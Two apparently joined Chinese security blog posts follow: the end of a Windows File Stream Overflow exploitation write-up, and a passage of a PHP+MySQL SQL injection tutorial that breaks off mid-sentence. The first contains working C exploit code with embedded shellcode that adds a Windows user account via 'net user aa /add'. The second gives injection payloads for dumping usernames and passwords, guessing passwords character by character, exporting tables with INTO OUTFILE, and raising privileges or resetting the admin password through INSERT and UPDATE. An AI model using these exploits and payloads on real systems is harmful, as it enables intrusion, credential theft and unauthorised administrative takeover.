EBP = 0012FBD4

0012FF6C  61 61 61 61  aaaa

0012FF70  60 61 61 61  `aaa

0012FF74  61 61 61 61  aaaa

0012FF78  61 61 61 61  aaaa

0012FF7C  6C FF 12 00  l…

这次也是因为61616161这个地址不可写所以又引起错误,

经过我的测试发现

程序执行到fprintf之后

0012FF6C  61 61 61 61  aaaa<——–这里的61616161我们可控制要把指令写入到哪一个地址若是更改成为

                                    78787878则我们会从78787878的内存中开始写入0012ff6c堆栈内的

                                    资料,一直往下写入

0012FF70  60 61 61 61  `aaa<——–这里的内容经过fprintf之后0012ff70的位置内容会减一

0012FF74  61 61 61 61  aaaa<——–这里会照常写入

0012FF78  61 61 61 61  aaaa<——–这里会照常写入

0012FF7C  6C FF 12 00  l…<——–stream指标<——也会照常写入

但是这里的数据中一旦含有00则会结束写入

我们可以控制一段资料的写入内容和写入的地址,

很好有一点方法了,我们可以考虑利用seh顶层异常结构处理,程序的中堆栈内的返回地址,fs:[0]异常

处理结构,这些方法,但是strncpy,不可以有00,否则就结束拷贝,这个问题真的很困扰,在Linux下堆栈通常不含

00,但是Win下的堆栈,都是从0012****开始,所以就算把buf2的内容利用seh或是ret位置或是fs:[0]把堆栈中的

shellcode地址写入,但堆栈中有00所以会提早结束,就没有办法覆盖到stream,

在没有办法利用只好修改我们的漏洞程序



覆盖例子2

增大了我们的buf,并且使用memcpy

#include <stdio.h>

int main(int argc, char *argv[])

{

    FILE * fp;

    char buf[32];

    char buf2[36]={0};

    int i;

    int j;

    

    fp=fopen( “fprintf.out”, “w” );



    i = (int)&fp-(int)&buf;

    printf(” fp addr %p point %p\nbuf addr %p\n len %d\n”,&fp,fp,buf,i);

    for (j=0;j<sizeof(buf2);j++)

    {

     buf2[j]=0×61;

    }

    buf2[0]=0×70;

    buf2[1]=0xff;

    buf2[2]=0×12;

    buf2[3]=0×00;

    buf2[4]=0×84;

    buf2[5]=0xff;

    buf2[6]=0×12;

    buf2[7]=0×00;

    



    buf2[32]=0×60;

    buf2[33]=0xff;

    buf2[34]=0×12;

    buf2[35]=0×00;





    memcpy(buf,buf2,i +4 );

    fprintf(fp,”%s”,buf);

    

    fclose( fp );



}

为了证明我之前的想法没有错

所以建构了一段数据

0012ff5c     0012ff70 <—–写入数据的内容,因为这里包含有00,所以写入后就结束,

                            不会把之后的数据继续写入

0012ff60     0012ff84 <—–这里可以控制所要写入的地址,我选择了ret

          .

          .

          .

          .

          .

0012ff7c     0012ff60 <—–我们所覆盖的stream指标



覆盖前堆栈内容

0012FF5C  CC CC CC CC  昍昍

0012FF60  CC CC CC CC  昍昍

0012FF64  CC CC CC CC  昍昍

0012FF68  CC CC CC CC  昍昍

0012FF6C  CC CC CC CC  昍昍

0012FF70  CC CC CC CC  昍昍

0012FF74  CC CC CC CC  昍昍

0012FF78  CC CC CC CC  昍昍

0012FF7C  90 2A 42 00  .*B.<——–stream指标

0012FF80  C0 FF 12 00  ….

0012FF84  69 17 40 00  i.@.<——–此处是返回地址

0012FF88  01 00 00 00  ….

0012FF8C  A0 0E 43 00  ..C.

覆盖stream后堆栈内容

0012FF5C  70 FF 12 00  p…

0012FF60  84 FF 12 00  ….

0012FF64  61 61 61 61  aaaa

0012FF68  61 61 61 61  aaaa

0012FF6C  61 61 61 61  aaaa

0012FF70  61 61 61 61  aaaa

0012FF74  61 61 61 61  aaaa

0012FF78  61 61 61 61  aaaa

0012FF7C  60 FF 12 00  `…<——–stream指标

0012FF80  C0 FF 12 00  ….

0012FF84  69 17 40 00  i.@.<——–此处是返回地址

0012FF88  01 00 00 00  ….

0012FF8C  A0 0E 43 00  ..C.

执行fprintf后的堆栈内容

0012FF5C  70 FF 12 00  p…

0012FF60  87 FF 12 00  ….

0012FF64  5E 61 61 61  ^aaa

0012FF68  61 61 61 61  aaaa

0012FF6C  61 61 61 61  aaaa

0012FF70  61 61 61 61  aaaa

0012FF74  61 61 61 61  aaaa

0012FF78  61 61 61 61  aaaa

0012FF7C  60 FF 12 00  `…

0012FF80  C0 FF 12 00  ….

0012FF84  70 FF 12 00  p…<———返回位置被我们改写了

0012FF88  01 00 00 00  ….

0012FF8C  A0 0E 43 00  ..C.

Good,我们可以定位shellcode的地址了



覆盖例子3

这次我们把我们的shellcode加入测试

#include <stdio.h>

unsigned char shellcode[]=

“\x66\x83\xEC\x50″

“\x68\xC1\x15\x35\x09\x81\x2C\x24\x80\xD1\xF0\x08″

“\x68\x61\x61\x20\x2f\x68\x73\x65\x72\x20\x68\x65\x74\x20\x75\x68\x2f\x6b\x20\x6e”

“\x68\x63\x6d\x64\x20\x8b\xc4\x6a\x01\x50\xb8\x35\xfd\xe4\x77\xff\xd0\xb8\xfd\x98\xe5\x77\xff\xd0″;

//56bytes

//简单的shellcode使用winexec来建立一个账户aa

//cmd /k net user aa /add

//最后呼叫ExitProcess结束行程

//里面的api函数位置,在不同的版本,应该需要更改

int main(int argc, char *argv[])

{

    FILE * fp;

    char buf[1024];

    char buf2[1028]={0};

    int i;

    int j;

    fp=fopen( “fprintf.out”, “w” );

    i = (int)&fp-(int)&buf;

    printf(” fp addr %p point %p\nbuf addr %p\n len %d\n”,&fp,fp,buf,i);

    for (j=0;j<sizeof(buf2);j++)

    {

     buf2[j]=0×41;//若是使用nop\x90则会发生错误所以使用0×41 inc ecx取代

    }

        buf2[0]=0×7c;

    buf2[1]=0xfc;

    buf2[2]=0×12;

    buf2[3]=0×00;//这里是覆写返回地址的内容,返回到0012fc7c,不求准确,因为利用了inc ecx

    buf2[4]=0×84;

    buf2[5]=0xff;

    buf2[6]=0×12;

    buf2[7]=0×00;//这里是覆写返回地址的地址

    memcpy(&buf2[sizeof(buf2)-strlen(shellcode)-400],shellcode,strlen(shellcode));

//当返回时esp=0012ff84若不释放堆栈一些空间,则会把shellcode都改写了

    buf2[1024]=0×80;

    buf2[1025]=0xfb;

    buf2[1026]=0×12;

    buf2[1027]=0×00;

    memcpy(buf,buf2,i +4 );

    fprintf(fp,”%s”,buf);

        fclose( fp );

}











利用成果:



fp addr 0012FF7C point 00422A90

buf addr 0012FB7C

len 1024

命令执行成功。





C:\>net user



\\HACKER 的使用者账户



——————————————————————————-

aa                       Administrator            Debug

Guest                    HelpAssistant            IUSR_HACKER

IWAM_HACKER              Nanika                   SUPPORT_388945a0

命令执行成功。





C:\>net user aa /del

命令执行成功。





C:\>



我们成功的利用了File Stream Overflows,转跳到shellcode





结论:

FSO的利用在win下,还是有很多的问题,因为这次的利用,需要很准确的知道buf的地址和ret的地址,但若是在

没有原始码下的测试,在利用上更增加了难度,虽然发现了可以写一段数据到任何的地址,但是还是没有办法

摆脱00结束字符,使得漏洞的利用,方法受到限制,我也还没有想到更好,更通用的办法,因为现在的漏洞利用中,

这方面的数据比较缺乏,需要个位高手的研究



参考文献



WindowsXP下暂存区溢位及利用FS:[0]异常结构处理

http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1756

by Nanika



漏洞利用的方法之研究

by noble



一种新的File Stream Overflows(FSO)

by alert7





感谢各位的拨空阅读 thanks

2005年02月10日

基于php+Mysql的SQL Injection 攻击技术

2003
年开始,喜欢脚本攻击的人越来越多,而且研究ASP下注入的朋友也逐渐多了起来,我看过最早的关于SQL注入的文章是一篇99年国外的高手写的,而现在国
外的已经炉火纯青了,国内才开始注意这个技术,由此看来,国内的这方面的技术相对于国外还是有一段很大差距,话说回来,大家对SQL注入攻击也相当熟悉
了,国内各大站点都有些堪称经典的作品,不过作为一篇完整的文章,我觉得还是有必要再说说其定义和原理。如果哪位高手已经达到炉火纯青的地步,不妨给本文
挑点刺。权当指点小弟。


关于php+Mysql的注入


国内能看到php+Mysql注入的文章可
能比较少,但是如果关注各种WEB程序的漏洞,就可以发现,其实这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究ASP的人实在少太
多,所以,可能没有注意,况且PHP的安全性比ASP高很多,导致很多人不想跨越这个门槛。
尽管如此,在PHP站点日益增多的今天,SQL注
入仍是最有效最麻烦的一种攻击方式,有效是因为至少70% 以上的站点存在SQL Injection漏洞,包括国内大部分安全站点,麻烦是因为
MYSQL4以下的版本是不支持子语句的,而且当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 ’ (单引
号), ” (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。给注入带来不少的阻碍。
早期的时候,根据程序的代码,要构造出没有引号的语句形成有效的攻击,还真的有点困难,好在现在的技术已经构造出不带引号的语句应用在某些场合。只要有经验,其实构造有效的语句一点也不难,甚至成功率也很高,但具体情况具体分析。首先要走出一个误区。

注:在没有具体说明的情况下,我们假设magic_quotes_gpc均为off。

php+Mysql注入的误区



多人认为在PHP+MYSQL下注入一定要用到单引号,或者是没有办法像MSSQL那样可以使用
“declare @a sysname select @a=<command> exec master.dbo.xp_cmdshell @a”
这类的命令来消除引号,其实这个是大家对注入的一种误解或这说是对注入认识上的一种误区。
为什么呢?因为不管在什么语言里,在引号(包括单双)里,所有字符串均是常量,即使是dir这样的命令,也紧紧是字符串而已,并不能当做命令执行,除非是这样写的代码:

$command = ”dir c:\”;
system($command);


否则仅仅只是字符串,当然,我们所说的命令不单指系统命令,我们这里说的是SQL语句,要让我们构造的SQL语句正常执行,就不能让我们的语句变成字符串,那么什么情况下会用单引号?什么时候不用呢?看看下面两句SQL语句:

①SELECT * FROM article WHERE articleid=’$id’
②SELECT * FROM article WHERE articleid=$id



种写法在各种程序中都很普遍,但安全性是不同的,第一句由于把变量$id放在一对单引号中,这样使得我们所提交的变量都变成了字符串,即使包含了正确的
SQL语句,也不会正常执行,而第二句不同,由于没有把变量放进单引号中,那我们所提交的一切,只要包含空格,那空格后的变量都会作为SQL语句执行,我
们针对两个句子分别提交两个成功注入的畸形语句,来看看不同之处。

①     指定变量$id为:
1′ and 1=2 union select * from user where userid=1/*
此时整个SQL语句变为:
SELECT * FROM article WHERE articleid=’1′ and 1=2 union select * from user where userid=1/*’

②指定变量$id为:
1 and 1=2 union select * from user where userid=1
此时整个SQL语句变为:
SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1



出来了吗?由于第一句有单引号,我们必须先闭合前面的单引号,这样才能使后面的语句作为SQL执行,并要注释掉后面原SQL语句中的后面的单引号,这样才
可以成功注入,如果php.ini中magic_quotes_gpc设置为on或者变量前使用了addslashes()函数,我们的攻击就会化为乌
有,但第二句没有用引号包含变量,那我们也不用考虑去闭合、注释,直接提交就OK了。
大家看到一些文章给出的语句中没有包含单引号例如pinkeyes的《php注入实例》中给出的那句SQL语句,是没有包含引号的,大家不要认为真的可以不用引号注入,仔细看看PHPBB的代码,就可以发现,那个$forum_id所在的SQL语句是这样写的:

$sql = ”SELECT *
FROM ” . FORUMS_TABLE . ”
WHERE forum_id = $forum_id”;


由于没有用单引号包含变量,才给pinkeyes这个家伙有机可乘,所以大家在写PHP程序的时候,记得用单引号把变量包含起来。当然,必要的安全措施是必不可少的。


简单的例子


先举一个例子来给大家了解一下PHP下的注入的特殊性和原理。当然,这个例子也可以告诉大家如何学习构造有效的SQL语句。
我们拿一个用户验证的例子,首先建立一个数据库和一个数据表并插入一条记录,如下:

CREATE DATABASE `injection`
CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default ”,
`password` varchar(20) NOT NULL default ”,
PRIMARY KEY (`userid`)
) ;
INSERT INTO `user` VALUES (1, ’angel’, ’mypass’);


验证用户文件的代码如下:

<?php
$servername = ”localhost”;
$dbusername = ”root”;
$dbpassword = ”";
$dbname = ”injection”;
mysql_connect($servername,$dbusername,$dbpassword) or die (“数据库连接失败”);

$sql = ”SELECT * FROM user WHERE username=’$username’ AND password=’$password’”;

$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);

if (empty($userinfo))
{
echo ”登陆失败”;
} else {
echo ”登陆成功”;
}

echo ”<p>SQL Query:$sql”;
?>


这时我们提交:

http://127.0.0.1/injection/user.php?username=angel‘ or 1=1


就会返回:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13
登陆失败
SQL Query:SELECT * FROM user WHERE username=’angel’ or 1=1′ AND password=”
PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13



看到了吗?单引号闭合后,并没有注释掉后面的单引号,导致单引号没有正确配对,所以由此可知我们构造的语句不能让Mysql正确执行,要重新构造:

http://127.0.0.1/injection/user.php?username=angel‘ or ’1=1


这时显示”登陆成功”,说明成功了。或者提交:

http://127.0.0.1/injection/user.php?username=angel‘/*
http://127.0.0.1/injection/user.php?username=angel‘%23



样就把后面的语句给注释掉了!说说这两种提交的不同之处,我们提交的第一句是利用逻辑运算,在ASP中运用可以说是非常广泛的,这个不用说了吧?第二、三
句是根据mysql的特性,mysql支持/*和#两种注释格式,所以我们提交的时候是把后面的代码注释掉,值得注意的是由于编码问题,在IE地址栏里提
交#会变成空的,所以我们在地址栏提交的时候,应该提交%23,才会变成#,就成功注释了,这个比逻辑运算简单得多了,由此可以看出PHP比ASP强大灵
活多了。
通过上面的例子大家应该对PHP+MYSQL的注入有个感性的认识了吧?


语句构造


PHP+MYSQL注入的博大精深不仅仅体现在认证体系的饶过,语句的构造才是最有趣味的地方,但构造语句和ACCESS、MSSQL都有少许不同,但同样可以发挥得淋漓尽致。看下面的例子。

一、搜索引擎

网上有一大堆的PHP程序搜索引擎是有问题的,也就是提交特殊字符可以显示所有记录,包括不符合条件的,其实这个危害也不算大,因为允许用户输入关键字进行模糊查询的地方大多数都允许检索所有的记录。很多查询的设计就是这样的。
查询是只读的操作应该不会对数据产生破坏作用,不要太担心。不过泄露隐私不知道算不算危害,下面是一个标准的搜索引擎:

<form method=”GET” action=”search.php” name=”search”>
<input name=”keywords” type=”text” value=”" size=”15″> <input type=”submit” value=”Search”>
</form>
<p><b>Search result</b></p>

<?php

//search.php
$servername = ”localhost”;
$dbusername = ”root”;
$dbpassword = ”";
$dbname = ”injection”;
mysql_connect($servername,$dbusername,$dbpassword) or die (“数据库连接失败”);

$keywords = $_GET['keywords'];
if (!empty($keywords))
{
$sql = ”SELECT * FROM article WHERE title LIKE ’%$keywords%’ $search ORDER BY title DESC”;
$result = mysql_db_query($dbname,$sql);
$tatol=mysql_num_rows($result);

echo ”<p>SQL Query:$sql<p>”;
if ($tatol <=0){
echo ”The \”<b>$keywords</b>\” was not found in all the record.<p>\n”;
} else {
while ($article=mysql_fetch_array($result))
{
echo ”<li>”.htmlspecialchars($article[title]).”<p>\n”;
} //while
}
} else {
echo ”<b>Please enter some keywords.</b><p>\n”;
}
?>


一般程序都是这样写的,如果缺乏变量检查,我们就可以改写变量,达到”注入”的目的,尽管没有危害,当我们输入”___” 、”.__ ”、”%”等类似的关键字时,会把数据库中的所有记录都取出来。如果我们在表单提交:

%’ ORDER BY articleid/*
%’ ORDER BY articleid#
__’ ORDER BY articleid/*
__’ ORDER BY articleid#


SQL语句就被改变成下面的样子了,

SELECT * FROM article WHERE title LIKE ’%%’ ORDER BY articleid/*%’ ORDER BY title DESC
SELECT * FROM article WHERE title LIKE ’%__’ ORDER BY articleid#%’ ORDER BY title DESC


就会列出所有记录,包括被隐藏的,还可以改变排列顺序。这个虽然危害不大,也算是注入的一种方式了吧?

二、查询字段

查询字段又可以分成两种,本表查询和跨表查询,这两种查询和ACCESS、MSSQL差不多,甚至更强大、更灵活、更方便。不知道为什么就是有人认为比ASP难?我们在ASP中经常使用的个别函数在PHP里要有小小的改动,如下:

① 本表查询

看下面一条SQL语句,多用在论坛或者会员注册系统查看用户资料的,

<?php
//user.php

$servername = ”localhost”;
$dbusername = ”root”;
$dbpassword = ”";
$dbname = ”injection”;

mysql_connect($servername,$dbusername,$dbpassword) or die (“数据库连接失败”);

$sql = ”SELECT * FROM user WHERE username=’$username’”;
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);

if (!$row)
{
echo ”该记录不存在”;
echo ”<p>SQL Query:$sql<p>”;
exit;
}

echo ”你要查询的用户ID是:$row[userid]\n”;
echo ”<p>SQL Query:$sql<p>”;
?>



我们提交的用户名为真时,就会正常返回用户的ID,如果为非法参数就会提示相应的错误,由于是查询用户资料,我们可以大胆猜测密码就存在这个数据表里(现
在我还没有碰见过密码是单独存在另一个表的程序),记得刚才的身份验证程序吗?和现在的相比,就少了一个AND条件,如下:

SELECT * FROM user WHERE username=’$username’ AND password=’$password’
SELECT * FROM user WHERE username=’$username’


相同的就是当条件为真时,就会给出正确的提示信息,如果我们构造出后面的AND条件部分,并使这部分为真,那我们的目的也就达到了,还是利用刚才建立的user数据库,用户名为angel,密码为mypass,
看了上面的例子,应该知道构造了吧,如果我们提交:

http://127.0.0.1/injection/user.php?username=angel‘ and password=’mypass


这个是绝对为真的,因为我们这样提交上面的SQL语句变成了下面的样子:

SELECT * FROM user WHERE username=’angel’ AND password=’mypass’


但在实际的攻击中,我们是肯定不知道密码的,假设我们知道数据库的各个字段,下面我们就开始探测密码了,首先获取密码长度:

http://127.0.0.1/injection/user.php?username=angel‘ and LENGTH(password)=’6


在ACCESS
中,用LEN()函数来获取字符串长度,在MYSQL中,要使用LENGTH(),只要没有构造错误,也就是说SQL语句能正常执行,那返回结果无外乎两
种,不是返回用户ID,就是返回”该记录不存在”。当用户名为angel并且密码长度为6的时候返回真,就会返回相关记录,是不是和ASP里一样?再用
LEFT()、RIGHT()、MID()函数猜密码:

http://127.0.0.1/injection/user.php?username=angel‘ and LEFT(password,1)=’m
http://127.0.0.1/injection/user.php?username=angel‘ and LEFT(password,2)=’my
http://127.0.0.1/injection/user.php?username=angel‘ and LEFT(password,3)=’myp
http://127.0.0.1/injection/user.php?username=angel‘ and LEFT(password,4)=’mypa
http://127.0.0.1/injection/user.php?username=angel‘ and LEFT(password,5)=’mypas
http://127.0.0.1/injection/user.php?username=angel‘ and LEFT(password,6)=’mypass


看,密码不是出来了吗?简单吧?当然实际情况会有不少条件限制,下面还会讲到这个例子的深入应用。

② 跨表查询

部分就和ASP有点出入了,除了一定要用UNION连接两条SQL语句,最难掌握的就是字段的数量,如果看过MYSQL参考手册,就知道了在
 SELECT 中的 select_expression (select_expression 表示你希望检索的列[字段]) 部分列出的列必须具
有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。简单的说,也就是UNION后面查选的字段数量、字段类型都应该与前面的
SELECT一样,而且,如果前面的SELECT为真,就同时返回两个SELECT的结果,当前面的SELECT为假,就会返回第二个SELECT所得的
结果,某些情况会替换掉在第一个SELECT原来应该显示的字段,如下图:


看了这个图直观多了吧?所以应该先知道前面查询表的数据表的结构。如果我们查询两个数据表的字段相同,类型也相同,我们就可以这样提交:

SELECT * FROM article WHERE articleid=’$id’ UNION SELECT * FROM……


如果字段数量、字段类型任意一个不相同,就只能搞清除数据类型和字段数量,这样提交:

SELECT * FROM article WHERE articleid=’$id’ UNION SELECT 1,1,1,1,1,1,1 FROM……


否则就会报错:

The used SELECT statements have a different number of columns


如果不知道数据类型和字段数量,可以用1来慢慢试,因为1属于int\str\var类型,所以我们只要慢慢改变数量,一定可以猜到的。如果不能马上理解上面的理论,后面有很详细的例子。
我们看看下面的数据结构,是一个简单的文章数据表。

CREATE TABLE `article` (
`articleid` int(11) NOT NULL auto_increment,
`title` varchar(100) NOT NULL default ”,
`content` text NOT NULL,
PRIMARY KEY  (`articleid`)
);


这个表的字段类型分别是int、varchar、text,如果我们用UNION联合查询的时候,后面的查询的表的结构和这个一样。就可以用”SELECT *”,如果有任何一个不一样,那我们只能用”SELECT 1,1,1,1……”了。

下面的文件是一个很标准、简单的显示文章的文件,很多站点都是这种页面没有过滤,所以成为最明显的注入点,下面就拿这个文件作为例子,开始我们的注入实验。

<?php
//show.php

$servername = ”localhost”;
$dbusername = ”root”;
$dbpassword = ”";
$dbname = ”injection”;

mysql_connect($servername,$dbusername,$dbpassword) or die (“数据库连接失败”);

$sql = ”SELECT * FROM article WHERE articleid=’$id’”;
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);

if (!$row)
{
echo ”该记录不存在”;
echo ”<p>SQL Query:$sql<p>”;
exit;
}

echo ”title<br>”.$row[title].”<p>\n”;
echo ”content<br>”.$row[content].”<p>\n”;
echo ”<p>SQL Query:$sql<p>”;
?>


正常情况下,我们提交这样的一个请求:

http://127.0.0.1/injection/show.php?id=1


就会显示articleid为1的文章,但我们不需要文章,我们需要的是用户的敏感信息,就要查询user表,现在是查询刚才我们建立的user表。
由于$id没有过滤给我们制造了这个机会,我们要把show.php文件中的SQL语句改写成类似这个样子:

SELECT * FROM article WHERE articleid=’$id’ UNION SELECT * FROM user ……


由于这个代码是有单引号包含着变量的,我们现在提交:

http://127.0.0.1/injection/show.php?id=1‘ union select 1,username,password from user/*


按道理说,应该显示用户表的username、password两个字段的内容才对啊,怎么正常显示文章呢?如图:



其实,我们提交的articleid=1是article表里存在的,执行结果就是真了,自然返回前面SELECT的结果,当我们提交空的值或者提交一个不存在的值,就会蹦出我们想要的东西:

http://127.0.0.1/injection/show.php?id=‘ union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=99999‘ union select 1,username,password from user/*


如图:



现在就在字段相对应的地方显示出我们所要的内容。如果还不清楚思路以及具体的应用,后面还会讲到一些高级的技巧。

三、导出文件

这个是比较容易构造但又有一定限制的技术,我们经常可以看见以下的SQL语句:

select * from table into outfile ’c:/file.txt’
select * from table into outfile ’/var/www/file.txt’


但这样的语句,一般很少用在程序里,有谁会把自己的数据导出呢?除非是备份,但我也没有见过这种备份法。所以我们要自己构造,但必须有下面的前提条件:

l         必须导出到能访问的目录,这样才能下载。
l         能访问的目录必须要有可写的权限,否则导出会失败。
l         确保硬盘有足够的容量能容下导出的数据,这个很少见。
l         确保要已经存在相同的文件名,会导致导出失败,并提示:”File ’c:/file.txt’ already exists”,这样可以防止数据库表和文件例如/etc/passwd被破坏。


们继续用上面的user.php和show.php两个文件举例,如果一个一个用户猜解实在是太慢了,如果对方的密码或者其他敏感信息很复杂,又不会写
Exploit,要猜到什么时候啊?来点大范围的,直接导出全部数据好了。user.php文件的查询语句,我们按照into outfile的标准格
式,注入成下面的语句就能导出我们需要的信息了:

SELECT * FROM user WHERE username=’$username’ into outfile ’c:/file.txt’


知道怎么样的语句可以实现我们的目的,我们就很容易构造出相应的语句:

http://127.0.0.1/injection/user.php?username=angel‘ into outfile ’c:/file.txt


出现了错误提示,但从返回的语句看来,我们的SQL语句确实是注入正确了,即使出现错误,也是查询的问题了,文件还是乖乖的被导出了,如图:



由于代码本身就有WHERE来指定一个条件,所以我们导出的数据仅仅是满足这个条件的数据,如果我们想导出全部呢?其实很简单,只要使这个WHERE条件为假,并且指定一个成真的条件,就可以不用被束缚在WHERE里了,来看看经典1=1发挥作用了:

http://127.0.0.1/injection/user.php?username=‘ or 1=1 into outfile ’c:/file.txt


实际的SQL语句变为:

SELECT * FROM user WHERE username=” or 1=1 into outfile ’c:/file.txt’


这样username的参数是空的,就是假了,1=1永远是真的,那or前面的WHERE就不起作用了,但千万别用and哦,否则是不能导出全部数据的。
既然条件满足,在这种情况下就直接导出所有数据!如图:



但是跨表的导出文件的语句该怎么构造呢?还是用到UNION联合查询,所以一切前提条件都应该和UNION、导出数据一样,跨表导出数据正常情况下应该相下面的一样:

SELECT * FROM article WHERE articleid=’1′ union select 1,username,password from user into outfile ’c:/user.txt’


这样可以导出文件了,如果我们要构造就提交:

http://127.0.0.1/injection/show.php?id=1‘ union select 1,username,password from user into outfile ’c:/user.txt


文件是出来了,可是有一个问题,由于前面的查询articleid=’1′为真了,所以导出的数据也有整个文章的一部分,如图:



所以我们把应该使前面的查询语句为假,才能只导出后面查询的内容,只要提交:

http://127.0.0.1/injection/show.php?id=‘ union select 1,username,password from user into outfile ’c:/user.txt


这样才能得到我们想要的资料:




得注意的是想要导出文件,必须magic_quotes_gpc没有打开,并且程序也没有用到addslashes()函数,还有不能对单引号做任何过
滤,因为我们在提交导出路径的时候,一定要用引号包含起来,否则,系统不会认识那是一个路径,也不用尝试用char()或者什么函数,那是徒劳。

INSERT

如果大家认为MYSQL中注入仅仅适用于SELECT就大错特错了,其实还有两个危害更大的操作,那就是INSERT和UPDATE语句,这类例子不多,先面先说说INSERT,这主要应用于改写插入的数据,我们来看个简单而又广泛存在的例子,看看下面的数据结构:

CREATE TABLE `user` (
`userid` INT NOT NULL AUTO_INCREMENT ,
`username` VARCHAR( 20 ) NOT NULL ,
`password` VARCHAR( 50 ) NOT NULL ,
`homepage` VARCHAR( 255 ) NOT NULL ,
`userlevel` INT DEFAULT ’1′ NOT NULL ,
PRIMARY KEY ( `userid` )
);


其中的userlevel代表用户的等级,1是普通用户,2是普通管理员,3是超级管理员,一个注册程序默认是注册成普通用户,如下:

INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (”, ’$username’, ’$password’, ’$homepage’, ’1′);


默认userlevel字段是插入1,其中的变量都是没有经过过滤就直接写入数据库的,不知道大家有什么想法?对,就是直接注入,使我们一注册就是超级管理员。我们注册的时候,构造$homepage变量,就可以达到改写的目的,指定$homepage变量为:

http://4ngel.net‘, ’3′)#


插入数据库的时候就变成:

INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (”, ’angel’, ’mypass’, ’http://4ngel.net’, ’3′)#’, ’1′);



这样就注册成为超级管理员了。但这种利用方法也有一定的局限性,比如,我没有需要改写的变量如userlevel字段是数据库的第一个字段,前面没有地方给我们注入,我们也没有办法了。
或许INSERT还有更广泛的应用,大家可以自行研究,但原理都是一样的。

UPDATE

和INSERT相比,UPDATE的应用更加广泛,如果过滤不够,足以改写任何数据,还是拿刚才的注册程序来说,数据结构也不变,我们看一下用户自己修改自己的资料,SQL语句一般都是这样写的:

UPDATE user SET password=’$password’, homepage=’$homepage’ WHERE id=’$id’


用户可以修改自己的密码和主页,大家有什么想法?总不至于还是提升权限吧?程序中的SQL语句又没有更新userlevel字段,怎么提升啊?还是老办法,构造$homepage变量, 指定$homepage变量为:

http://4ngel.net‘, userlevel=’3


整个SQL语句就变成这样:

UPDATE user SET password=’mypass’, homepage=’http://4ngel.net’, userlevel=’3′ WHERE id=’$id’


我们是不是又变成超级管理员了?程序不更新userlevel字段,我们自己来。
还有更加绝的,直接修改任意用户的资料,还是刚才的例句,但这次安全一点,使用MD5加密:

UPDATE user SET password=’MD5($password)’, homepage=’$homepage’ WHERE id=’$id’


尽管密码被加密了,但我们还是可以构造我们需要的语句,我们指定$password为:

mypass)’ WHERE username=’admin’#


这时整个语句变为:

UPDATE user SET password=’MD5(mypass)’ WHERE username=’admin’#)’, homepage=’$homepage’ WHERE id=’$id’


这样就更改了更新的条件,我管你后面的代码是不是在哭这说:我们还没有执行啊。当然,也可以从$id下手,指定$id为:

‘ OR username=’admin’


这时整个语句变为:

UPDATE user SET password=’MD5($password)’, homepage=’$homepage’ WHERE id=” OR username=’admin’



样也可以达到修改的目的,所以说注入是非常灵活的技术。如果有些变量是从数据库读取的固定值,甚至用$_SESSION['username']来读取服
务器上的SESSION信息时,我们就可以在原来的WHERE之前自己构造WHERE并注释掉后面的代码,由此可见,灵活运用注释也是注入的技巧之一。这
些技巧把注入发挥得淋漓尽致。不得不说是一种艺术。
变量的提交方式可以是GET或POST,提交的位置可以是地址栏、表单、隐藏表单变量或修改本地COOKIE信息等,提交的方式可以是本地提交,服务器上提交或者是工具提交,多种多样就看你如何运用了。


高级应用


1、 使用MYSQL内置函数


们在ACCESS、MSSQL中的注入,有很多比较高级的注入方法,比如深入到系统,猜中文等,这些东西,在MYSQL也能很好得到发挥,其实在
MYSQL有很多内置函数都可以用在SQL语句里,这样就可以使我们能在注入时更灵活,得到更多关于系统的信息。有几个函数是比较常用的:

DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
……


各个函数的具体作用大家可以查阅MYSQL手册,比如下面这句UPDATE:

UPDATE article SET title=$title WHERE articleid=1


我们可以指定$title为以上的各个函数,因为没有被引号包含,所以函数是能正确执行的:

UPDATE article SET title=DATABASE() WHERE id=1
#把当前数据库名更新到title字段
UPDATE article SET title=USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=SYSTEM_USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=SESSION_USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=CURRENT_USER() WHERE id=1
#把当前会话被验证匹配的用户名更新到title字段


灵活运用MYSQL内置的函数,可以获得不少有用的信息,比如数据库版本、名字、用户、当前数据库等,比如前面跨表查询的例子,提交:

http://127.0.0.1/injection/show.php?id=1



以看到一篇文章,我们怎么样才能知道MYSQL数据库的相关信息呢?同样也是用MYSQL内置函数配合UNION联合查询,不过相比之下就简单得多了,甚
至还可以读取文件!既然要用到UNION,同样要满足UNION的条件——字段数、数据类型相同。如果我们知道了数据结构,直接构造:

http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()


就可以返回当前数据库名和数据库版本,构造是比较容易的。
下面附上一段由我好友Super·Hei写的代码,可以把字符串转换为ASCII代码。感谢提供。

#!/usr/bin/perl
#cody by Super·Hei
#to angel
#C:\>test.pl c:\boot.ini
#99,58,92,98,111,111,116,46,105,110,105

$ARGC = @ARGV;
if ($ARGC != 1) {
print ”Usage: $0 \n”;
exit(1);
}

$path=shift;

@char = unpack(‘C*’, $path);

$asc=join(“,”,@char);

print $asc;


2、不加单引号注入

注:现在我们假设magic_quotes_gpc为on了。


所周知,整形的数据是不需要用引号引起来的,而字符串就要用引号,这样可以避免很多问题。但是如果仅仅用整形数据,我们是没有办法注入的,所以我需要把我
